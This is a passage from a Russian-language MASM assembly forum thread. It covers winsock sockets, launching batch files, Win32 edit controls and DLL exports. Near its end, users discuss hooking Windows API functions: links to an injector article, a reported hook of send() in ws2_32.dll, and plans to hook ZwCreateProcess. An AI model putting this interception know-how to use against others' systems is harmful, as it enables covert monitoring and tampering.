mov sin.sin_family, AF_INET

invoke connect, hSock, ADDR sin, sizeof sin
.if eax==SOCKET_ERROR
invoke MessageBoxA, 0, ADDR mText2, ADDR mCaption, 0
jmp Quit
.endif
mov hSock2, eax

invoke send, hSock, ADDR buffer, sizeof buffer, 0
.if eax==SOCKET_ERROR
invoke MessageBoxA, 0, ADDR mText3, ADDR mCaption, 0
jmp Quit
.endif

Quit:
invoke closesocket, hSock
invoke WSACleanup
invoke ExitProcess, 0
end Main
А можно ли сделать,что-бы клиент коннектился с сервером с любого айпи?То есть сервер открыл порт,и обрабатывает запроосы с разных айпи.Или я что-то не допонимаю?

Ins3t
08.07.2011, 16:52
если в виду имеется, что у сервера есть несколько IP и все их нужно связать с сокетом, то при связывании(bind) следует передать в функцие константу INADDR_ANY(раная нулю) вместо IP адреса.

MTV
09.07.2011, 15:45
Кто подскажет?Почему не коннектится сокет?Вот исходники:
Сервер:
.386
.model Flat, StdCall
option casemap:none
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\wsock32.lib
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\wsock32.inc
include \masm32\include\windows.inc
.data
wsadata WSADATA <>
mCaption db "Error! Suxx!", 0
mText1 db "Error WSAStartUp", 0
mText2 db "Error2", 0
hSock DWORD ?
hSock2 dd ?
sin sockaddr_in <>
sPort DWORD 5555
buffer db 1024 dup (0)
mCaption2 db "Woohoo", 0
mText3 db "Connected!", 0

.code
Main:

invoke WSAStartup, 101h, ADDR wsadata
.if eax!=NULL
invoke MessageBoxA, 0, ADDR mText1, ADDR mCaption, 0
.endif

invoke socket, AF_INET, SOCK_STREAM, 0
.if eax==INVALID_SOCKET
invoke WSAGetLastError
.endif
mov hSock, eax

invoke htons, sPort
mov sin.sin_port, ax
mov sin.sin_addr,0
mov sin.sin_family, AF_INET

invoke bind, hSock, ADDR sin, sizeof sin
invoke listen, hSock, SOMAXCONN
invoke accept, hSock, NULL, NULL
mov hSock2, eax

datarecv:
invoke recv, hSock2, ADDR buffer, 1024, 0
.if byte ptr buffer=="Q"
invoke MessageBoxA, 0, ADDR mText3, ADDR mCaption2, 0
jmp Quit
.endif

jmp datarecv

Quit:
invoke WSACleanup
invoke ExitProcess, 0
end Main
Клиент:

.386
.model flat, stdcall
option casemap:none
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\wsock32.lib
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\wsock32.inc
include \masm32\include\windows.inc
.data
wsadata WSADATA <>
mCaption db "Error! Suxx!", 0
mText1 db "Error WSAStartUp", 0
mText2 db "Error Connect", 0
mText3 db "Error Send", 0
hSock DWORD ?
hSock2 dd ?
sin sockaddr_in <>
sPort DWORD 5555
sIP db "ТУТ ВНЕШНИЙ АЙПИ СЕРВЕРА", 0
buffer db "Q", 0

.code
Main:

invoke WSAStartup, 101h, ADDR wsadata
.if eax!=NULL
invoke MessageBoxA, 0, ADDR mText1, ADDR mCaption, 0
jmp Quit
.endif

invoke socket, AF_INET, SOCK_STREAM, 0
.if eax==INVALID_SOCKET
invoke WSAGetLastError
jmp Quit
.endif
mov hSock, eax

invoke htons, sPort
mov sin.sin_port, ax
invoke inet_addr, ADDR sIP
mov sin.sin_addr, eax
mov sin.sin_family, AF_INET

invoke connect, hSock, ADDR sin, sizeof sin
.if eax==SOCKET_ERROR
invoke MessageBoxA, 0, ADDR mText2, ADDR mCaption, 0
jmp Quit
.endif
mov hSock2, eax

invoke send, hSock, ADDR buffer, sizeof buffer,0
.if eax==SOCKET_ERROR
invoke MessageBoxA, 0, ADDR mText3, ADDR mCaption, 0
jmp Quit
.endif

Quit:
invoke closesocket, hSock
invoke WSACleanup
invoke ExitProcess, 0
end Main
Пишет error connect,хотя при айпшнике 127.0.0.1 все работает нормально.В чем проблема?
Может это из за того,что у меня стоит роутер?Даже при запуске у меня на компе,открывается порт 5555 если я сканирую мои внутренний айпи(192.168.1.102).А если внешний,то сканер показывается порт закрыт!

Ins3t
09.07.2011, 18:01
ты используешь sockaddr_in, на сколько я помню - это более новая версия структуры sockaddr. структура эволюционировала, но прототипы ф-й остались старыми. короче говоря - ф-я connect принимает указатель на структуру sockaddr, а ты ей передаешь указатель на sockaddr_in.

может еще что то есть, но дальше не смотрел.

sn0w
09.07.2011, 18:03
да мсдн читайте то хоть. код таки под винду, поэтому и кроссрефы все к мсдн должны вести

Ins3t
09.07.2011, 18:20
К стати вот еще:


struct sockaddr_in{
short sin_family;
unsigned short sin_port;
struct in_addr sin_addr;
char sin_zero;
};

мы видим, что sin_addr - это обьект структуры in_addr.

Смотрим:

typedef struct in_addr {
union {
struct {
u_char s_b1,s_b2,s_b3,s_b4;
} S_un_b;
struct {
u_short s_w1,s_w2;
} S_un_w;
u_long S_addr;
} S_un;
} IN_ADDR, *PIN_ADDR, FAR *LPIN_ADDR;

MTV
09.07.2011, 20:58
Нет,ребят,мне кажется дело не в этом.У меня стоит роутер. У меня просто не открывается порт.Точнее если я у себя на компе запущу сервер,то при скане внутреннего айпи(192.168.1.102)-порт открыт.А при скане внешнего моего айпи- закрыт.Через хамачи все нормально работает .

Sams
10.07.2011, 22:35
Эм, а при чем тут вообще ассемблер и программирование? Настройки роутера -> Виртуальная машина. Перенаправленные с внешнего айпи на внутренний. Читай документацию.

MTV
19.07.2011, 09:15
А кто подскажет как программно открыть bat файл?Делал так:
invoke WinExec,addr file1,ShowWindow
Вообще не чего не просиходит((
Пробовал еще вот так:

invoke CreateFile,addr file2,GENERIC_WRITE,FILE_SHARE_WRITE,0,0,FILE_ATTRIBUTE_NORMAL,0
mov ,eax
invoke ShellExecute,handle,addr open1,addr file2,0,0,addr tmp1
Тоже самое(Нечего не происходит((

GRRRL Power
19.07.2011, 09:52
invoke ShellExecute, 0, chr$("open"), chr$("file.bat"), 0, 0, SW_SHOW

Макрос chr$ можно при необходимости заменить на адрес строки.
Вообще, все же написано предельно ясно: http://msdn.microsoft.com/en-us/library/bb762153%28v=vs.85%29.aspx

DooD
19.07.2011, 10:09
open BYTE "open",0
fn db 'bat.bat',0
invoke ShellExecute,0,addr open,addr fn,0,0,SW_SHOW

MTV
19.07.2011, 10:18
Я же говорю так не работает(

MTV
19.07.2011, 10:29
Нет,батник там работает,но не запускается програмнно!

MTV
19.07.2011, 10:49
Вот код:.386
.model Flat, StdCall
option casemap:none
;#########################################################
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib C:\masm32\lib\shell32.lib

include \masm32\include\shell32.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\windows.inc
;##########################################################
.data?
handle dd ?
tmp dd ?
.data
file1 db 'D:\boot.bat',0
open1 byte 'open',0
buffer db 'dir D:\>>1.txt',0
cr db 0dh,0ah
chcp db 'chcp 1251',0
.code
start:
invoke CreateFile,addr file1,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov ,eax
invoke WriteFile,handle,addr chcp,9,addr tmp,0
invoke WriteFile,handle,addr cr,2,addr tmp,0
invoke WriteFile,handle,addr buffer,150,addr tmp,0
invoke Sleep,10000
invoke ShellExecute, handle,addr open1,addr file1,0,0,SW_SHOW
invoke CloseHandle,handle
invoke ExitProcess,0
end start

DooD
19.07.2011, 10:55
посмотри как ты пишешь в файл,естесно он не запустится.

MTV
19.07.2011, 11:00
Я видел как я пишу.Почему тогда у меня все запускается?Если даже сделать не 150 а 14 байт прописывалось,все равно не запускается!

GRRRL Power
19.07.2011, 13:05
MTV, неужели не дано прочитать док по функции ShellExecute? Первый параметр - это не хендл файла, а хендл окна, а так как у тебя нет окон в приложении, то просто 0. Смотри мой предыдущий пост. Файл надо открыть, записать туда данные, потом закрыть, а потом запустить, как я показал выше. Кроме того, параметр FILE_SHARE_WRITE говорит о том, что пока ты держишь файл открытым, другая программа сможет открыть его только для записи, но никак не для чтения.

DooD
19.07.2011, 14:16
вот короче рабочий код.

;This program was created in assembler editor
.386
.model Flat, StdCall
option casemap:none
includelib lib\kernel32.lib
includelib lib\user32.lib
includelib lib\shell32.lib

include include\shell32.inc
include include\kernel32.inc
include include\user32.inc
include include\windows.inc

.data?
handle dd ?
tmp dd ?
.data
file1 db 'D:\boot.bat',0
open1 BYTE "open",0
bufer db 'dir D:\ >>1.txt',0
cr db 0dh,0ah
chcp db 'chcp 1251',0
.code
start:
invoke CreateFile,addr file1,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov handle,eax
invoke WriteFile,handle,addr chcp,9,addr tmp,0
invoke WriteFile,handle,addr cr,2,addr tmp,0
invoke WriteFile,handle,addr bufer,15,addr tmp,0
invoke CloseHandle,handle

invoke ShellExecute,0,addr open1,addr file1,0,0,SW_SHOW
invoke ExitProcess,0
end start

MTV
19.07.2011, 14:22
Все работает))Большое спасибо,ребят.

MTV
20.07.2011, 10:07
Ребят,вот создаю окно и компонент edit.А как мне сделать, что-бы тект из edit выводился в MessageBox?Вот код:
.386
.model flat,stdcall
option casemap:none
include C:\masm32\include\windows.inc
include C:\masm32\include\user32.inc
include C:\masm32\include\kernel32.inc
include C:\masm32\include\gdi32.inc
include C:\masm32\include\comdlg32.inc
include C:\masm32\include\shell32.inc
includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\kernel32.lib
includelib C:\masm32\lib\gdi32.lib
includelib C:\masm32\lib\comdlg32.lib
includelib C:\masm32\lib\shell32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
RGB macro red,green,blue
xor eax,eax
mov ah,blue
shl eax,8
mov ah,green
mov al,red
endm
szText MACRO Name,Text:VARARG
LOCAL lbl
jmp lbl
Name db Text,0
lbl:
ENDM
.const
edit1ID equ 1
button1ID equ 2
.data?
hFontN HWND ?
hwndedit1 HWND ?
hwndbutton1 HWND ?
hInstance HINSTANCE ?
CommandLine LPSTR ?
.data
FontName db "MS Sans Serif",0
lf LOGFONT <>
Textedit1 db "Edit1",0
Textbutton1 db "Button1",0
;_______________
ClassName db "MASM Builder",0
BtnClName db "button",0
StatClName db "static",0
EditClName db "edit",0
LboxClName db "listbox",0
CboxClName db "combobox",0
ReditClName db "richedit",0
RichEditLib db "riched32.dll",0
Caption db "Form",0
;_______________
.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke GetCommandLine
invoke WinMain,hInstance,NULL,CommandLine,SW_SHOWDEFAULT
invoke ExitProcess,eax
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc :WNDCLASSEX
LOCAL msg :MSG
LOCAL hwnd :HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style,CS_BYTEALIGNCLIENT
mov wc.lpfnWndProc,offset WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_BTNFACE+1
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx,addr wc
invoke CreateWindowEx,0,ADDR ClassName,ADDR Caption,WS_SYSMENU or WS_MINIMIZEBOX,380,75,315,200,0,0,hInst,0
mov hwnd,eax
INVOKE ShowWindow,hwnd,SW_SHOWNORMAL
INVOKE UpdateWindow,hwnd
.WHILE TRUE
invoke GetMessage,ADDR msg,0,0,0
.BREAK .IF (!eax)
invoke TranslateMessage,ADDR msg
invoke DispatchMessage,ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp
WndProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
.IF uMsg == WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg == WM_CREATE
invoke lstrcpy,addr lf.lfFaceName,addr FontName
mov lf.lfHeight,-11
mov lf.lfWeight,500
invoke CreateFontIndirect,addr lf
mov hFontN,eax
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR EditClName,ADDR Textedit1,WS_CHILD or ES_LEFT or ES_AUTOHSCROLL or WS_VISIBLE,152,48,121,21,hWnd,edit1ID,hInstance,0
mov hwndedit1,eax
invoke SendMessage,hwndedit1,WM_SETFONT,hFontN,1
invoke CreateWindowEx,0,ADDR BtnClName,ADDR Textbutton1,WS_CHILD or BS_DEFPUSHBUTTON or WS_VISIBLE,32,48,75,25,hWnd,button1ID,hInstance,0
mov hwndbutton1,eax
invoke SendMessage,hwndbutton1,WM_SETFONT,hFontN,1
.ELSEIF uMsg == WM_COMMAND
mov eax,wParam
.IF lParam != 0
.IF ax == button1ID
shr eax,16
.IF ax == BN_CLICKED
invoke MessageBox,hWnd,addr Textedit1,0,MB_ICONINFORMATION
.ENDIF
.ENDIF
.ENDIF;
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start
У меня выводится только edit1.А мне надо,что-бы выводилось то, что я написал в edit!

DooD
20.07.2011, 10:36
юзай GetWindowText

MTV
25.07.2011, 20:38
Народ,а как можно с помощью winsock сделать так,что бы сервер отправлял данные клиенту? Можно ли вообще так?

MASM
26.07.2011, 15:24
MTV :) (На MASM) Как то так.

.DATA
sMsg db "Сообщение",0

.DATA ?
buffer db 512 dup(?)

.IF ax==IDM_GETTEXT
invoke GetWindowText,hwndedit1, ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR sMsg,MB_OK+MB_ICONINFORMATION

...

MASM
26.07.2011, 15:27
В winsock есть такая функция называется Send =)))

Вот глянь сюда: http://mysystem.ucoz.ru/publ/masm/rabota_s_protokolom_socks5_na_masm/4-1-0-52

.

realcoder
01.08.2011, 15:02
есть пара вопросов по masm:
1. как инициализирвоать массив при объявлении?
например в си вот так делается:

unsigned char dump={ 0x01 ,0x02 ,0x03 ,0x04,0x05, 0x06,0x07,0x08,0x09, 0x0A, 0x0B,0x0C, 0x0D,0x0E,0x0f}

как такое же сделать на асме?
или можно только задавать начальное значение всех элементов при объявлении? вот так:

.DATA
...
ololo DWORD 1024 dup(начальное_значение)
...
.CODE
....


2. расскажите поподробнее про подпрограммы в masm, а именно
- про вершину стека, т.е. что нужно писать после оператора RET, чтобы корректно выйти из подрограммы, надо ли чтото делать с регистром еsp при вызове функции через оператор call и т.д.
- про возврат значения. т.е. как корректно возвратить значение из подпрограммы: просто поместить его в eax?

GRRRL Power
01.08.2011, 16:19
.data
ololo dd 1,2,3,4,5

Так, как ты написал, тоже можно.


После оператора ret ничего не надо писать. Вопрос про esp и call мутный, потому что все зависит от того, какую процедуру ты вызываешь, какое у нее соглашение вызовов.
Вопрос про возврат значения - да, поместить в eax. Хотя если ты собираешься писать собственные процедуры, ничего не мешает тебе отказаться от общепринятых соглашений вызовов и возвращать значение в других регистрах или вообще в стеке.

MTV
02.08.2011, 11:22
А кто подскажет как сделать вывод текста в memo.Наример,создал форму с memo потом получаю инфу и вывожу в memo?Какая функция обнавляет memo?

becensed
02.08.2011, 12:17
Memo - это обычный editbox с ES_MULTILINE.
Советую МСДН (клац)

MASM
03.08.2011, 20:43
Есть код DLL экспортирующий одну функцию. Как его вызвать с прогии ?
Вот код DLL:

; ======================================================
include \masm32\include\masm32rt.inc
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc
include \masm32\macros\macros.asm

includelib \masm32\lib\user32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\advapi32.lib
;========================================================

include c:\masm32\macros\macros.asm

;========================================================

szText MACRO Name, Text:VARARG
LOCAL lbl
jmp lbl
Name db Text,0
lbl:
ENDM

.data
AppName db "DLL",0
LoadMsg db "Библиотека MyDLL.dll загружена",0
UnloadMsg db "Библиотека MyDLL.dll выгружена",0


.data?
hInstance dd ?
hSnapshot HANDLE ?
ProcEnt PROCESSENTRY32 <?>
pi PROCESS_INFORMATION <>
sinf STARTUPINFO <>

.code

; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

LibMain proc instance:DWORD,reason:DWORD,unused:DWORD
.if reason == DLL_PROCESS_ATTACH
mrm hInstance, instance
mov eax, TRUE
invoke MessageBox,NULL,addr LoadMsg,addr AppName,MB_OK
.elseif reason == DLL_PROCESS_DETACH
invoke MessageBox,NULL,addr UnloadMsg,addr AppName,MB_OK
.endif
ret
LibMain endp

; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

MyLibProc proc EName:DWORD
invoke CreateProcess,NULL,ADDR EName,NULL,NULL,FALSE,0,NULL,NULL,addr sinf,addr pi
mov esi,pi.hProcess
invoke WaitForSingleObject,esi,INFINITE
ret
MyLibProc endp

; «««««««««««««««««««««««««««««««««««««««««««««««««««««««
Вот приложение но не знаю как все это организовать:

.486
.model flat,stdcall
option casemap:none

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; ПОДКЛЮЧАЕМЫЕ МОДУЛИ
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.data
LibName db "mydll.dll",0
FunctionName db "MyLibProc",0
DllNotFound db "Библиотека mydll.dll не может быть загружена",0
AppName db "Загрузка библиотеки mydll.dll",0
FunctionNotFound db "Запущена функция из библиотеки mydll.dll",0

.data?
hLib dd ?
TestDLLAddr dd ?

.code
start:
invoke LoadLibrary,addr LibName
.if eax==NULL
invoke MessageBox,NULL,addr DllNotFound,addr AppName,MB_OK
.else
mov hLib,eax
invoke GetProcAddress,hLib,addr FunctionName
.if eax==NULL
invoke MessageBox,NULL,addr FunctionNotFound,addr AppName,MB_OK
.else
;=========================================================================
;=========================Что здесь дальше делать ? ======================
;=========================================================================
.endif
invoke FreeLibrary,hLib
.endif
invoke ExitProcess,NULL
end start

=========================================================

DooD
03.08.2011, 21:26
push offset EName
call mylibproc

MASM
04.08.2011, 10:33
Исправил так:

push offset EName
call TestDLLAddr

Сейчас выдает ошибку:

http://www.easyfoto.ru/20110804073116135.jpg

DooD
04.08.2011, 12:14
ну так ты поместил указатель в eax?
mov handle,eax
push param
call proc

MASM
04.08.2011, 13:12
указатель чего ? Делаю так но выдает ту же ошибку:

.486
.model flat,stdcall
option casemap:none

include C:\masm32\include\windows.inc
include C:\masm32\include\user32.inc
include C:\masm32\include\kernel32.inc
includelib C:\masm32\lib\kernel32.lib
includelib C:\masm32\lib\user32.lib

.data
LibName db "mydll.dll",0
FunctionName db "MyLibProc",0
DllNotFound db "Библиотека mydll.dll не может быть загружена",0
AppName db "Загрузка библиотеки mydll.dll",0
FunctionNotFound db "Запущена функция из библиотеки mydll.dll",0
EName db "notepad.exe",0

.data?
hLib dd ?
TestDLLAddr dd ?

.code
start:
invoke LoadLibrary,addr LibName
.if eax==NULL
invoke MessageBox,NULL,addr DllNotFound,addr AppName,MB_OK
.else
mov hLib,eax
;invoke GetProcAddress,hLib,addr FunctionName
.if eax==NULL
invoke MessageBox,NULL,addr FunctionNotFound,addr AppName,MB_OK
.else
===============================
===============================
mov TestDLLAddr,eax
push offset EName
Call TestDLLAddr
===============================
===============================
.endif
invoke FreeLibrary,hLib
.endif
invoke ExitProcess,NULL
end start
==============================================

DooD
04.08.2011, 14:11
как экспортируешь в def файле? по идее должно работать

MASM
04.08.2011, 18:18
Так mydll.def :

LIBRARY mydll
EXPORTS MyLibProc

;=======

becensed
04.08.2011, 19:27
Вот тебе АРХИВЧИК, делай по образу и подобию.

MTV
04.08.2011, 21:47
Что-то я не до конца разобрался с memo.Вот я получаю инфу в переменную и с помощью SetWindowText,хочу что-бы она вывелась в memo.Но нечего не получается(Правильно ли я делаю?

DooD
04.08.2011, 22:20
MTV что именно не получается?

becensed
04.08.2011, 22:39
Погоди, я постараюсь наладить телепатическую связь......


.....

нет, не получается, абонент не доступен... Извини...

MTV
05.08.2011, 08:40
Вот код:
.386
.model flat,stdcall
option casemap:none
include C:\masm32\include\windows.inc
include C:\masm32\include\user32.inc
include C:\masm32\include\kernel32.inc
include C:\masm32\include\gdi32.inc
include C:\masm32\include\comdlg32.inc
include C:\masm32\include\shell32.inc
include C:\masm32\include\wsock32.inc
includelib C:\masm32\lib\wsock32.lib
includelib C:\masm32\lib\user32.lib
includelib C:\masm32\lib\kernel32.lib
includelib C:\masm32\lib\gdi32.lib
includelib C:\masm32\lib\comdlg32.lib
includelib C:\masm32\lib\shell32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
RGB macro red,green,blue
xor eax,eax
mov ah,blue
shl eax,8
mov ah,green
mov al,red
endm
szText MACRO Name,Text:VARARG
LOCAL lbl
jmp lbl
Name db Text,0
lbl:
ENDM
.const
memo1ID equ 1
edit2ID equ 3
edit1ID equ 2
button1ID equ 1
.data?
hFontN HWND ?
hwndmemo1 HWND ?
hwndedit2 HWND ?
hwndedit1 HWND ?
hwndbutton1 HWND ?
hInstance HINSTANCE ?
CommandLine LPSTR ?
.data
FontName db "MS Sans Serif",0
lf LOGFONT <>
Textmemo1 db "'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''",0
Textedit2 db '//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////',0
Textedit1 db 0,0
Textbutton1 db "SEND",0
;_______________
ClassName db "MASM Builder",0
BtnClName db "button",0
StatClName db "static",0
EditClName db "edit",0
LboxClName db "listbox",0
CboxClName db "combobox",0
ReditClName db "richedit",0
RichEditLib db "riched32.dll",0
Caption db "Form",0
;_______________
wsadata WSADATA <>
mCaption db "Error! Suxx!", 0
mText1 db "Error WSAStartUp", 0
mText2 db "Error Connect", 0
mText3 db "Error Send", 0
hSock DWORD ?
hSock2 dd ?
sin sockaddr_in <>
sPort DWORD 5555
sIP db '255.255.255.255',0
;
.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke GetCommandLine
invoke WinMain,hInstance,NULL,CommandLine,SW_SHOWDEFAULT
invoke ExitProcess,eax
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc :WNDCLASSEX
LOCAL msg :MSG
LOCAL hwnd :HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style,CS_BYTEALIGNCLIENT
mov wc.lpfnWndProc,offset WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_BTNFACE+1
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx,addr wc
invoke CreateWindowEx,0,ADDR ClassName,ADDR Caption,WS_SYSMENU or WS_MINIMIZEBOX,603,334,565,302,0,0,hInst,0
mov hwnd,eax
INVOKE ShowWindow,hwnd,SW_SHOWNORMAL
INVOKE UpdateWindow,hwnd
.WHILE TRUE
invoke GetMessage,ADDR msg,0,0,0
.BREAK .IF (!eax)
invoke TranslateMessage,ADDR msg
invoke DispatchMessage,ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp
WndProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
.IF uMsg == WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg == WM_CREATE
invoke lstrcpy,addr lf.lfFaceName,addr FontName
mov lf.lfHeight,-11
mov lf.lfWeight,500
invoke CreateFontIndirect,addr lf
mov hFontN,eax
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR EditClName,ADDR Textmemo1,WS_CHILD or ES_LEFT or ES_AUTOHSCROLL or WS_VISIBLE,0,64,561,209,hWnd,memo1ID,hInstance,0
mov hwndmemo1,eax
invoke SendMessage,hwndmemo1,WM_SETFONT,hFontN,1
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR EditClName,ADDR Textedit2,WS_CHILD or ES_LEFT or ES_AUTOHSCROLL or WS_VISIBLE,96,32,457,21,hWnd,edit2ID,hInstance,0
mov hwndedit2,eax
invoke SendMessage,hwndedit2,WM_SETFONT,hFontN,1
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR EditClName,ADDR sIP,WS_CHILD or ES_LEFT or ES_AUTOHSCROLL or WS_VISIBLE,96,8,121,21,hWnd,edit1ID,hInstance,0
mov hwndedit1,eax
invoke SendMessage,hwndedit1,WM_SETFONT,hFontN,1
invoke CreateWindowEx,0,ADDR BtnClName,ADDR Textbutton1,WS_CHILD or BS_DEFPUSHBUTTON or WS_VISIBLE,8,8,75,49,hWnd,button1ID,hInstance,0
mov hwndbutton1,eax
invoke SendMessage,hwndbutton1,WM_SETFONT,hFontN,1
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR EditClName,ADDR sIP,WS_CHILD or ES_LEFT or ES_AUTOHSCROLL or WS_VISIBLE,96,8,121,21,hWnd,edit1ID,hInstance,0
.ELSEIF uMsg == WM_COMMAND
mov eax,wParam
.IF lParam != 0
.IF ax == button1ID
shr eax,16
.IF ax == BN_CLICKED
invoke GetWindowText,hwndedit2,addr Textedit2,150
invoke GetWindowText,hwndedit1,addr sIP,15
invoke WSAStartup, 101h, ADDR wsadata
.if eax!=NULL
invoke MessageBoxA, 0, ADDR mText1, ADDR mCaption, 0
jmp Quit
.endif

invoke socket, AF_INET, SOCK_STREAM, 0
.if eax==INVALID_SOCKET
invoke WSAGetLastError
jmp Quit
.endif
mov hSock, eax

invoke htons, sPort
mov sin.sin_port, ax
invoke inet_addr, ADDR sIP
mov sin.sin_addr, eax
mov sin.sin_family, AF_INET
mov sin.sin_zero,8
invoke connect, hSock, ADDR sin, sizeof sin
.if eax==SOCKET_ERROR
invoke MessageBoxA, 0, ADDR mText2, ADDR mCaption, 0
jmp Quit
.endif
mov hSock2, eax
invoke send, hSock, ADDR Textedit2, sizeof Textedit2,MSG_DONTROUTE
.if eax==SOCKET_ERROR
invoke MessageBoxA, 0, ADDR mText3, ADDR mCaption, 0
jmp Quit
.endif
.if byte ptr Textedit2=="*"
invoke recv,hSock,addr Textmemo1,1024,0
invoke SetWindowText,hwndmemo1,addr Textmemo1
jmp Quit
.endif
Quit:
invoke closesocket, hSock
invoke WSACleanup
.ENDIF;
.ENDIF;
.ENDIF;
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start
Почему не получается вывести в memo?

becensed
05.08.2011, 11:10
у меня ml.exe ругнулся на эту строку: ;Textmemo1 db "'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''''''''''''''''''''",0 Я заменил ее на Textmemo1 db 256 dup("'"),0

p.s. Memo я так и не увидал. У тебя два эдитбокса. Мемо - это эдитбокс с ES_MULTILINE, т.е. invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR EditClName,ADDR Textmemo1,ES_MULTILINE or WS_CHILD or ES_LEFT or ES_AUTOHSCROLL or WS_VISIBLE,0,64,561,209,hWnd,memo1ID,hInstance,0

MTV
05.08.2011, 11:39
Все равно не изменяется.

becensed
05.08.2011, 12:13
а что должно изменяться?

MASM
05.08.2011, 16:15
Еще вопрос как на MASM перехватить API функции ? На Delphi знаю.
Может у кого нить случайно есть пример. Вот пример перехвата функции ZwOpenProcess
на Delphi http://mysystem.ucoz.ru/publ/iack/perekhvat_funkcii_zwopenprocess_na_delphi_7/2-1-0-28

GRRRL Power
05.08.2011, 16:45
http://kaimi.ru/2010/08/your-own-injector/

MASM
05.08.2011, 17:20
C первого раза ниче не понял но буду разбираться. Спс

MASM
06.08.2011, 17:55
Я перехватил функцию Send из ws2_32.dll. Работает отлично. Сейчас хочу перехватить
ZwCreateProcess из ntdll.dll но не знаю прототип функции и какие структуры нужны.
Может кто нить подскажет ?

Sams
08.08.2011, 02:47
MASM,
http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Process/NtCreateProcess.html

FireFenix
08.08.2011, 15:39
Очередной раз, зализая в PE, сталкиваюсь с полем ForwarderChain в дескрипторе импорта.
В описание МС сказано, что по дефолту значение -1, но многие линкеры пишут туда 0.
В гугле описания вообще 0, кроме как то что это некий индекс.

Какое правильно значение писать в это поле и как/когда оно используется?

GRRRL Power
08.08.2011, 16:17
Криса Касперски надо читать:

FireFenix
08.08.2011, 17:01
Спасибо кеп, но ты ничего нового не написал, что я озвучил в вопросе

GRRRL Power
08.08.2011, 17:10
А по-моему тебе стоит научиться читать.

Sams
09.08.2011, 00:05
FireFenix,


http://wasm.ru/article.php?article=green2red02#_Toc100906491

FireFenix
09.08.2011, 14:44
Да, читал я васм, мс, криса.
Толи индекс, то ли адрес, то ли фиг знает что, а как влияет?
Ясно что связано с импортом, только вот каким боком никто не знает...

becensed
09.08.2011, 17:41
